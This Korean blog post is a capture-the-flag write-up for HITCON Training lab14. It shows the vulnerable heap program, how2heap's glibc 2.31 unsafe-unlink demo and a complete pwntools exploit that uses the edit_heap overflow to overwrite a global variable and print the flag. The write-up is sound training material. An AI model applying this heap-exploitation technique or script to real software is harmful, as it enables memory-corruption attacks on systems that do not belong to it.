본문 바로가기

Security

HITCON Training lab14

lab14

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf,size_t size){
	int ret ;
    ret = read(0,buf,size);
    if(ret <=0){
        puts("Error");
        _exit(-1);
    }	
}

char *heaparray[10];
unsigned long int magic = 0 ;

void menu(){
	puts("--------------------------------");
	puts("       Magic Heap Creator       ");
	puts("--------------------------------");
	puts(" 1. Create a Heap               ");
	puts(" 2. Edit a Heap                 ");
	puts(" 3. Delete a Heap               ");
	puts(" 4. Exit                        ");
	puts("--------------------------------");
	printf("Your choice :");
}

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i] = (char *)malloc(size);
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(2);
			}
			printf("Content of heap:");
			read_input(heaparray[i],size);
			puts("SuccessFul");
			break ;
		}
	}
}

void edit_heap(){
	int idx ;
	char buf[4];
	size_t size ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size of Heap : ");
		read(0,buf,8);
		size = atoi(buf);
		printf("Content of heap : ");
		read_input(heaparray[idx] ,size);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}


void delete_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		free(heaparray[idx]);
		heaparray[idx] = NULL ;
		puts("Done !");	
	}else{
		puts("No such heap !");
	}

}


void l33t(){
	system("cat /home/magicheap/flag");
}

int main(){
	char buf[8];
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	while(1){
		menu();
		read(0,buf,8);
		switch(atoi(buf)){
			case 1 :
				create_heap();
				break ;
			case 2 :
				edit_heap();
				break ;
			case 3 :
				delete_heap();
				break ;
			case 4 :
				exit(0);
				break ;
			case 4869 :
				if(magic > 4869){
					puts("Congrt !");
					l33t();
				}else
					puts("So sad !");
				break ;
			default :
				puts("Invalid Choice");
				break;
		}

	}
	return 0 ;
}

우선 기능 요약부터 하겠다.

  • create_heap
    • 사용자로부터 size를 입력받는다.
    • 사이즈만큼 메모리를 할당한다. (heaparray[i] = (char *)malloc(size);)
    • read_input( )을 통해, size만큼 heaparray[i]에 값을 입력한다.
  • edit_heap
    • idx와 size를 입력받는다.
    • 입력한 size만큼 heaparray[idx]에 입력할 수 있다.
    • Heap overflow 발생 가능
  • delete_heap
    • idx를 입력받아 해당하는 heaparray[idx]의 메모리를 해제한다.

lab13보다 기능이 더 줄어들었다. 전에는 show_heap 함수가 있어서 메모리 leak이 가능했는데 이번엔 그런기능이 없다. 하지만 133t( )함수가 존재한다. main함수에서 4869를 입력하면 magic > 4869 비교를 통해 133t( ) 함수를 실행한다. 133t는 flag를 출력하는 함수다. 하지만 이를 위해서는 magic 변수에 값을 덮어야한다.

일단 내 서버 환경에서 문제를 풀면서 가장 중요했던 것은, glibc 2.31에서도 공격 가능한 기법 이어야 했다. 그래서 관련 자료들을 구글링했고, 좋은 소스코드를 발견했다. (github.com/shellphish/how2heap/tree/master/glibc_2.31)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 20.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
	chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

위의 소스코드를 실행하면 glibc 2.31 환경에서도 unsafe unlink가 진행되는 것을 확인할 수 있다. (사실, 소스코드만으로는 공격이 진행되는 과정을 직관적으로 이해하기 힘들어, 디버깅을 하며 이해했다.) 일반적인 unsafe unlink 기법과 동일하지만 차이점은 malloc_size를 0x420으로 한다는 점이다. 

glibc 2.31 unsafe_unlink.c 디버깅

원래 청크헤더는 0x555555559290로 0x9298에 0x431이 size로 박혀있다. 여기서 unsafe unlink를 위해 0x92a8에 fake chunk의 size를 0x421로 덮어쓰고 0x92b0, 0x92b8에 fd와 bk를 입력한다. 그리고 chunk1_ptr의 헤더에 prev_size는 0x420, size는 0x430으로 수정한다. 이후 unlink 과정을 통해 공격이 가능한 것을 보여주는 예제다.

나도 마찬가지로, craete_heap을 통해 0x420 크기의 힙을 2개 생성하고 edit_heap의 취약점을 이용하여 unsafe_unlink를 위한 fake chunk를 구성했다. 이 부분에서 내가 헷갈린 부분을 간단히 설명하겠다. (이제 와서 보면 당연한 건데 실수한 부분)

처음에 fake chunk의 fd와 bk를 셋팅할 때, magic 변수값을 수정해야하니깐 magic-24, magic-16 값으로 셋팅했다. 근데 unlink과정에서 "corrupted double-linked list" 에러 메세지가 떠서 다음 코드에서 문제가 생긴 거 같아서 직접 디버깅해봤다. 

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))               
    malloc_printerr (check_action, "corrupted double-linked list", P); 

0x14d22b0, 0x14d22b8에 magic-24, magic-16으로 셋팅했다. 

rdi와 QWORD PTR [rax+0x18]을 비교하고, false면 위에서 말한 에러 메시지를 출력한다. rdi는 첫 번째 청크의 주소지만, (0x14d22a0) [rax+0x18]은 우리가 설정한 0x6020c0(magic 변수)가 가리키는 값이다. (0x0) 따라서 fd와 bk를 0x14d22a0으로 맞춰야하는데, 생각해보니 이는 heaparray[0]에 저장되어 있는 값이다. 그래서 fd와 bk를 0x6020e0-24, 0x6020e0-16으로 수정하고 공격코드를 작성하니 unsafe unlink를 성공했다.

heaparray[0], 0x6020e0 주소에는 0x6020c8의 값이 써졌고, edit_heap(heaparray[0])을 통해 0x6020c8 주소에 원하는 값을 쓸 수 있다. 0x6020c8에서부터 값을 써서 다시 0x6020e0에 magic 변수의 주소인 0x6020c0을 넣고 edit을 하면 magic 변수에 값을 쓸 수 있다. 이후에 133t( ) 함수를 실행하면 flag를 출력한다.

from pwn import *
context.log_level = 'debug'

p = process('./magicheap')
pause()

def create(size, content):
    p.recvuntil(':')
    p.sendline('1')
    p.recvuntil(' : ')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(content)

def edit(idx, size, content):
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.recvuntil(' : ')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(content)

def delete(idx):
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil(':')
    p.sendline(str(idx))
magic = 0x6020c0
heaparray = 0x6020e0
create(1056, 'AAAA')
create(1056, 'BBBB')
pay = p64(0)+p64(0x421)
pay += p64(heaparray-24) + p64(heaparray-16)
pay += p64(0)*128
pay += p64(0x420) + p64(0x430)
edit(0, len(pay), pay)
delete(1)

pay = p64(0)*3 + p64(0x6020c0)
edit(0, len(pay), pay)
edit(0, 4, 'AAAA')
p.sendlineafter(':', '4869')
p.interactive()

'Security' 카테고리의 다른 글

pwnable.kr Toddler's Bottle  (0) 2021.01.07
HITCON Training Lab15  (0) 2021.01.07
HITCON Training Lab13  (0) 2021.01.02
HITCON Training lab12  (0) 2020.12.31
House of Force, Unsafe Unlink  (0) 2020.12.28